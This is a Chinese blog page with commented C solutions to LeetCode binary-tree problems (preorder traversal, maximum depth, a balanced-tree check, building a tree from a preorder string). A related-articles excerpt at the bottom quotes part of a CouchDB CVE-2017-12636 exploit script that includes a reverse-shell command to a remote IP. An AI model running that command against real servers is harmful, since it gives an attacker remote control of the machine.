当前位置: 首页 > news >正文

二叉树的前序遍历 、二叉树的最大深度、平衡二叉树、二叉树遍历(leetcode)

目录

一、二叉树的前序遍历 

方法一:全局变量记录节点个数

方法二:传址调用记录节点个数

二、二叉树的最大深度

三、平衡二叉树

四、二叉树遍历


一、二叉树的前序遍历 

 

方法一:全局变量记录节点个数

计算树的节点数:
函数TreeSize用于递归地计算二叉树中的节点数。如果树为空(即根节点为NULL),则返回0。否则,返回左子树的节点数、右子树的节点数和1(表示当前节点)的总和。

/*** Definition for a binary tree node.* struct TreeNode {*     int val;          // 节点的值  *  struct TreeNode *left;  // 指向左子节点的指针  *  struct TreeNode *right; // 指向右子节点的指针* };*/
/*** Note: The returned array must be malloced, assume caller calls free().*/
//先求树有几个节点
int TreeSize(struct TreeNode* root)
{// 如果树为空(即根节点为NULL),则返回0  // 否则,返回左子树节点数 + 右子树节点数 + 1(当前节点)return root == NULL ? 0 : TreeSize(root->left) + TreeSize(root->right) + 1;
}

_prevOrder函数:
这是一个辅助函数,用于递归地执行前序遍历。它首先将当前节点的值存储在数组a中,然后递归地遍历左子树和右子树。注意,这里直接使用了全局变量i来更新数组索引。

定义一个全局变量i

// 前序遍历二叉树的辅助函数  
void _prevOrder(struct TreeNode* root, int* a) {  // 如果当前节点为空,则直接返回  if (root == NULL) {  return;  }  // 将当前节点的值存储到数组中,并使用全局变量i作为索引  a[i] = root->val;  // 递增全局变量i  ++i;  // 递归遍历左子树  _prevOrder(root->left, a);  // 递归遍历右子树  _prevOrder(root->right, a);  
}

preorderTraversal函数:
这是主函数,用于执行前序遍历并返回结果数组。它首先使用TreeSize函数计算树的节点数,然后动态分配一个足够大的整数数组来存储结果。接下来,它调用_prevOrder函数来执行前序遍历,并填充数组。最后,它设置returnSize为树的节点数,并返回结果数组。

// 执行前序遍历并返回结果数组的主函数  
int* preorderTraversal(struct TreeNode* root, int* returnSize) {  //每次调用函数时,都要把i初始化//如果没有初始化,则i会一直叠加,无法重复使用i = 0;  // 调用TreeSize函数计算二叉树的节点数  int size = TreeSize(root);  // 动态分配结果数组,大小为节点数  int* a = (int*)malloc(size * sizeof(int));  // 调用辅助函数_prevOrder执行前序遍历,填充数组a  _prevOrder(root, a);  // 设置返回数组的大小为树的节点数,通过指针参数returnSize返回  *returnSize = size;        // 返回结果数组a的指针  return a;                  
}

方法二:传址调用记录节点个数

前面与方法一相同,不再过多赘述

_prevOrder 函数:
辅助函数,用于递归地执行前序遍历。它接受三个参数:当前节点 root、用于存储遍历结果的数组 a 和一个指向整数的指针 pi(表示当前数组索引)。函数首先将当前节点的值存储在数组 a 的相应位置,然后递增索引 pi。接下来,它递归地遍历左子树和右子树。

// 前序遍历二叉树的辅助函数  
void _prevOrder(struct TreeNode* root, int* a, int* pi) {  // 如果当前节点为空,则直接返回  if (root == NULL) {  return;  }  // 将当前节点的值存储到数组中,并递增索引pi  a[*pi] = root->val;  ++(*pi);  // 递归遍历左子树  _prevOrder(root->left, a, pi);  // 递归遍历右子树  _prevOrder(root->right, a, pi);  
}

preorderTraversal 函数:
这是主函数,用于执行前序遍历并返回结果数组。它首先调用 TreeSize 函数(虽然这里没有给出 TreeSize 的实现,但我们可以假设它的功能是计算树的节点数)来计算树的节点数,然后动态分配一个足够大的整数数组来存储结果。接着,它调用 _prevOrder 函数来执行前序遍历,并填充数组。最后,它设置 returnSize 为树的节点数,并返回结果数组。

int* preorderTraversal(struct TreeNode* root, int* returnSize) {  int i = 0; // 初始化索引为0  int size = TreeSize(root); // 假设TreeSize函数能正确计算节点数  int* a = (int*)malloc(size * sizeof(int)); // 动态分配数组  _prevOrder(root, a, &i); // 执行前序遍历,填充数组  *returnSize = size; // 设置返回数组的大小  return a; // 返回结果数组  
}

二、二叉树的最大深度

给定一个二叉树 root ,返回其最大深度。

二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。

/*** Definition for a binary tree node.* struct TreeNode {*     int val;*     struct TreeNode *left;*     struct TreeNode *right;* };*/
int maxDepth(struct TreeNode* root) {  // 如果根节点为空,说明树是空的,因此深度为0。  if (root == NULL)  return 0;  // 递归地计算左子树的最大深度。  int leftDepth = maxDepth(root->left);  // 递归地计算右子树的最大深度。  int rightDepth = maxDepth(root->right);  // 返回左、右子树中深度较大的一个,并加上当前节点的高度1。  return leftDepth > rightDepth ? leftDepth + 1 : rightDepth + 1;  
}

三、平衡二叉树

给定一个二叉树,判断它是否是高度平衡的二叉树。

本题中,一棵高度平衡二叉树定义为:

一个二叉树每个节点 的左右两个子树的高度差的绝对值不超过 1 。

/*** Definition for a binary tree node.* struct TreeNode {*     int val;*     struct TreeNode *left;*     struct TreeNode *right;* };*/int maxDepth(struct TreeNode* root) {  // 如果根节点为空,说明树是空的,因此深度为0。  if (root == NULL)  return 0;  // 递归计算左子树的最大深度。  int leftDepth = maxDepth(root->left);  // 递归计算右子树的最大深度。  int rightDepth = maxDepth(root->right);  // 返回左、右子树中较大的深度值加1(加上当前节点的高度)。  return leftDepth > rightDepth ? leftDepth + 1 : rightDepth + 1;  
}
bool isBalanced(struct TreeNode* root) {  // 如果根节点为空,那么这棵空树被认为是平衡的。  if (root == NULL)  return true;  // 计算左子树的最大深度。  int leftDepth = maxDepth(root->left);  // 计算右子树的最大深度。  int rightDepth = maxDepth(root->right);  // 判断当前节点的左右子树深度差是否小于等于1,并且左右子树本身也都是平衡的。   return abs(leftDepth - rightDepth) <= 1  && isBalanced(root->left)  // 递归检查左子树是否平衡。  && isBalanced(root->right); // 递归检查右子树是否平衡。  
}

四、二叉树遍历

编一个程序,读入用户输入的一串先序遍历字符串,根据此字符串建立一个二叉树(以指针方式存储)。 例如如下的先序遍历字符串: ABC##DE#G##F### 其中“#”表示的是空格,空格字符代表空树。建立起此二叉树以后,再对二叉树进行中序遍历,输出遍历结果。 

#include <stdio.h>  
#include <stdlib.h> // 需要包含stdlib.h来使用malloc和exit函数  // 定义二叉树节点的结构体  
typedef struct TreeNode  
{  struct TreeNode* left;  // 左子树指针  struct TreeNode* right; // 右子树指针  char val;               // 节点值  
} TNode;  // 创建一个二叉树的函数,a是包含节点值的字符串,pi是指向当前要处理的字符的索引的指针  
TNode* CreatTree(char* a, int* pi)  
{  // 如果当前字符是'#',表示这是一个空节点  if (a[*pi] == '#')  {  ++(*pi); // 增加索引  return NULL; // 返回空指针表示这是一个空节点  }  // 为新节点分配内存  TNode* root = (TNode*)malloc(sizeof(TNode));  if (root == NULL)  {  printf("malloc fail\n"); // 如果分配失败,输出错误信息  exit(-1); // 退出程序  }  // 设置节点的值,并增加索引  root->val = a[*pi];  ++(*pi);  // 递归地创建左子树和右子树  root->left = CreatTree(a, pi);  root->right = CreatTree(a, pi);  return root; // 返回新创建的节点  
}  
// 中序遍历二叉树的函数  
void InOrder(TNode* root) // 注意:函数名应该是InOrder,而不是InOeder(这里有一个拼写错误)  
{  if (root == NULL) // 如果节点为空,直接返回  return;  InOrder(root->left);  // 遍历左子树  printf("%c ", root->val); // 输出节点的值  InOrder(root->right); // 遍历右子树  
}  int main() {  char str[100]; // 存储节点值的字符串  scanf("%s", str); // 读取输入字符串,注意应该直接传入数组名int i = 0; // 索引初始化为0  TNode* root = CreatTree(str, &i); // 创建二叉树,并将根节点赋值给root  InOrder(root); // 中序遍历二叉树并输出结果  return 0; 
}

祝大家新年快乐!!!

看到这里了还不给博主扣个:
⛳️ 点赞☀️收藏 ⭐️ 关注!

你们的点赞就是博主更新最大的动力!
有问题可以评论或者私信呢秒回哦。

相关文章:

二叉树的前序遍历 、二叉树的最大深度、平衡二叉树、二叉树遍历(leetcode)

目录 一、二叉树的前序遍历 方法一&#xff1a;全局变量记录节点个数 方法二&#xff1a;传址调用记录节点个数 二、二叉树的最大深度 三、平衡二叉树 四、二叉树遍历 一、二叉树的前序遍历 方法一&#xff1a;全局变量记录节点个数 计算树的节点数: 函数TreeSize用于递…...

SQL之CASE WHEN用法详解

目录 一、简单CASE WHEN函数&#xff1a;二、CASE WHEN条件表达式函数三、常用场景 场景1&#xff1a;不同状态展示为不同的值场景2&#xff1a;统计不同状态下的值场景3&#xff1a;配合聚合函数做统计场景4&#xff1a;CASE WHEN中使用子查询场景5&#xff1a;经典行转列&am…...

Ubuntu 18.04搭建RISCV和QEMU环境

前言 因为公司项目代码需要在RISCV环境下测试&#xff0c;因为没有硬件实体&#xff0c;所以在Ubuntu 18.04上搭建了riscv-gnu-toolchain QEMU模拟器环境。 安装riscv-gnu-toolchain riscv-gnu-toolchain可以从GitHub上下载源码编译&#xff0c;地址为&#xff1a;https://…...

立足兴趣社交赛道,Soul创新在线社交元宇宙新玩法

近年来,元宇宙概念在全球范围内持续升温,众多企业巨头纷纷加入这场热潮。在一众社交平台中,Soul App凭借其独特的创新理念和技术支撑,致力于打造以Soul为链接的社交元宇宙,成为年轻人心目中的社交新宠。作为新型社交平台的代表,Soul坚持以“不看颜值,看兴趣”为核心,以及持续创…...

Couchdb 任意命令执行漏洞(CVE-2017-12636)

一、环境搭建 二、访问 三、构造payload #!/usr/bin/env python3 import requests import json import base64 from requests.auth import HTTPBasicAuth target http://192.168.217.128:5984 # 目标ip command rb"""sh -i >& /dev/tcp/192.168.217…...

VectorWorks各版本安装指南

VectorWorks下载链接 https://pan.baidu.com/s/1q2WWbePfo-VaGpPtgoWCUQ?pwd0531 1.鼠标右击【VectorWorks 2023(64bit)】压缩包&#xff08;win11及以上系统需先点击“显示更多选项”&#xff09;选择【解压到 VectorWorks 2023(64bit)】。 2.打开C盘路径地址【c:\windows\…...

【MySQL】数据库中为什么使用B+树不用B树

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a; 数 据 库 ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 B树的特点和应用场景&#xff1a; B树相对于B树的优势&#xff1a; 结论&#xff1a; 结语 我的其他博客 前言 在数据…...

微信小程序发送模板消息-详解【有图】

前言 在发送模板消息之前我们要首先搞清楚微信小程序的逻辑是什么&#xff0c;这只是前端的一个demo实现&#xff0c;建议大家在后端处理&#xff0c;前端具体实现&#xff1a;如下图 1.获取小程序Id和密钥 我们注册完微信小程序后&#xff0c;可以在开发设置中看到以下内容&a…...

Easy Rules规则引擎实战

文章目录 简介pom 规则抽象规则Rule基础规则BasicRule事实类Facts&#xff1a;map条件接口动作接口 四种规则定义方式注解方式RuleBuilder 链式Mvel和Spel表达式Yml配置 常用规则类DefaultRuleSpELRule&#xff08;Spring的表达式注入&#xff09; 组合规则UnitRuleGroup 规则引…...

听GPT 讲Rust源代码--library/alloc(2)

File: rust/library/alloc/src/vec/mod.rs 在Rust源代码中&#xff0c;rust/library/alloc/src/vec/mod.rs这个文件是Rust标准库中的Vec类型的实现文件。Vec是一个动态大小的数组类型&#xff0c;在内存中以连续的方式存储其元素。 具体来说&#xff0c;mod.rs文件中定义了以下…...

OSG读取和添加节点学习

之前加载了一个模型&#xff0c;代码是&#xff0c; osg::Group* root new osg::Group(); osg::Node* node new osg::Node(); node osgDB::readNodeFile("tree.osg"); root->addChild(node); root是指向osg::Group的指针&#xff1b; node是 osg:…...

计算机网络技术--念念

选择题&#xff1a; 1.只要遵循GNU通用公共许可证,任何人和机构都可以自由修改和再发布的操作系统是&#xff08;Linux &#xff09; 2.在计算机网络的各种功能中,最基本的、为其他功能提供实现基础的是&#xff08;实现数据通信 &#xff09; 3.计算机网络具有分布式处理功能,…...

C#_var

文章目录 一、前言二、隐式类型的局部变量2.1 var和匿名类型2.2 批注 三、总结 一、前言 C#中有一个 var 类型&#xff0c;不管什么类型的变量&#xff0c;都可以用它接收&#xff0c;实属懒人最爱了。 我没有了解过它的底层&#xff0c;甚至没看过它的说明文档&#xff0c;也…...

Linux---进程控制

一、进程创建 fork函数 在Linux中fork函数是非常重要的函数&#xff0c;它从已存在进程中创建一个新进程&#xff0c;原进程为父进程 fork函数的功能&#xff1a; 分配新的内存和内核数据结构给子进程将父进程部分数据结构内容拷贝至子进程添加子进程到系统的进程列表中fork返…...

Java注解学习,一文掌握@Autowired 和 @Resource 注解区别

&#x1f3c6;作者简介&#xff0c;普修罗双战士&#xff0c;一直追求不断学习和成长&#xff0c;在技术的道路上持续探索和实践。 &#x1f3c6;多年互联网行业从业经验&#xff0c;历任核心研发工程师&#xff0c;项目技术负责人。 &#x1f389;欢迎 &#x1f44d;点赞✍评论…...

系列一、如何正确的获取Spring Cloud Alibaba Spring Cloud Spring Boot之间的版本对应关系

一、正确的获取Spring Cloud Alibaba & Spring Cloud & Spring Boot之间的版本对应关系 1.1、概述 Java发展日新月异&#xff0c;Spring Cloud Alibaba 、 Spring Cloud 、 Spring Boot在GitHub上的迭代也是异常的频繁&#xff0c;这也说明其社区很活跃&#xff0c;通…...

数据预处理:标准化和归一化

标准化和归一化简介 1、数据预处理概述2、数据标准化3、数据归一化4、标准化和归一化怎么选1、数据预处理概述 在选择了合适模型的前提下,机器学习可谓是“训练台上3分钟,数据数量和质量台下10年功”。数据的收集与准备是机器学习中的重要一步,是构建一个好的预测模型大厦的…...

Node.js+Express 路由配置,实现接口分类管理

首先创建一个路由目录及文件 routes/user.js代码 const express require(express); const router express.Router(); // 使用express提供的router对象 const db require(../dbserver/mysql);router.get(/api/user, (req, res) > {const sqlStr SELECT * FROM sys_user;…...

HTML-基础知识-基本结构,注释,文档说明,字符编码(一)

1.超文本标记语言不分大小写。 2.超文本标签属性名和属性值不区分大小写。 3.超文本标签属性值重复&#xff0c;听取第一个。 4.html结构 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"vi…...

《系统架构设计师教程(第2版)》第3章-信息系统基础知识-05-专家系统(ES)

文章目录 1. 先了解人工智能2.1 人工智能的特点2.2 人工智能的主要分支2. ES概述2.1 概述2.2 和一般系统的区别1)第一遍说了5点(理解为主)2)第二遍说的3点(主要记这个)3. ES的特点4. ES的组成4.1 知识库4.2 综合数据库4.3 推理机4.4 知识获取模块4.5 解释程序4.6 人一机接…...

DeepSeek 赋能智慧能源:微电网优化调度的智能革新路径

目录 一、智慧能源微电网优化调度概述1.1 智慧能源微电网概念1.2 优化调度的重要性1.3 目前面临的挑战 二、DeepSeek 技术探秘2.1 DeepSeek 技术原理2.2 DeepSeek 独特优势2.3 DeepSeek 在 AI 领域地位 三、DeepSeek 在微电网优化调度中的应用剖析3.1 数据处理与分析3.2 预测与…...

阿里云ACP云计算备考笔记 (5)——弹性伸缩

目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...

23-Oracle 23 ai 区块链表(Blockchain Table)

小伙伴有没有在金融强合规的领域中遇见&#xff0c;必须要保持数据不可变&#xff0c;管理员都无法修改和留痕的要求。比如医疗的电子病历中&#xff0c;影像检查检验结果不可篡改行的&#xff0c;药品追溯过程中数据只可插入无法删除的特性需求&#xff1b;登录日志、修改日志…...

电脑插入多块移动硬盘后经常出现卡顿和蓝屏

当电脑在插入多块移动硬盘后频繁出现卡顿和蓝屏问题时&#xff0c;可能涉及硬件资源冲突、驱动兼容性、供电不足或系统设置等多方面原因。以下是逐步排查和解决方案&#xff1a; 1. 检查电源供电问题 问题原因&#xff1a;多块移动硬盘同时运行可能导致USB接口供电不足&#x…...

oracle与MySQL数据库之间数据同步的技术要点

Oracle与MySQL数据库之间的数据同步是一个涉及多个技术要点的复杂任务。由于Oracle和MySQL的架构差异&#xff0c;它们的数据同步要求既要保持数据的准确性和一致性&#xff0c;又要处理好性能问题。以下是一些主要的技术要点&#xff1a; 数据结构差异 数据类型差异&#xff…...

[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...

VTK如何让部分单位不可见

最近遇到一个需求&#xff0c;需要让一个vtkDataSet中的部分单元不可见&#xff0c;查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行&#xff0c;是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示&#xff0c;主要是最后一个参数&#xff0c;透明度…...

ElasticSearch搜索引擎之倒排索引及其底层算法

文章目录 一、搜索引擎1、什么是搜索引擎?2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长,文件大。2.其次,树深,IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...

C++八股 —— 单例模式

文章目录 1. 基本概念2. 设计要点3. 实现方式4. 详解懒汉模式 1. 基本概念 线程安全&#xff08;Thread Safety&#xff09; 线程安全是指在多线程环境下&#xff0c;某个函数、类或代码片段能够被多个线程同时调用时&#xff0c;仍能保证数据的一致性和逻辑的正确性&#xf…...

大数据学习(132)-HIve数据分析

​​​​&#x1f34b;&#x1f34b;大数据学习&#x1f34b;&#x1f34b; &#x1f525;系列专栏&#xff1a; &#x1f451;哲学语录: 用力所能及&#xff0c;改变世界。 &#x1f496;如果觉得博主的文章还不错的话&#xff0c;请点赞&#x1f44d;收藏⭐️留言&#x1f4…...